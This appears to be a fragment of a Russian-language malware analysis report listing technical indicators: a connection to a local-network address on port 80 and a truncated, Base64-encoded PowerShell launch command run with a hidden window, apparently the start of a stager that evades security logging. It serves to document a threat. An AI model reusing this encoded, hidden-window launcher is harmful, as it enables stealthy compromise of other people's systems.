Техническая информация
- '<LOCALNET>.44.128':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBlAHIAUwBpAG8AbgBUAGEAQgBMAGUALgBQAFMAVgBFAFIAUwBJAG8ATgAuAE0AQQBKAG8AcgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBFAGYAXQAuAEEAUwBzAEUAbQBiAEwAWQAuAEcARQBU...' (со скрытым окном)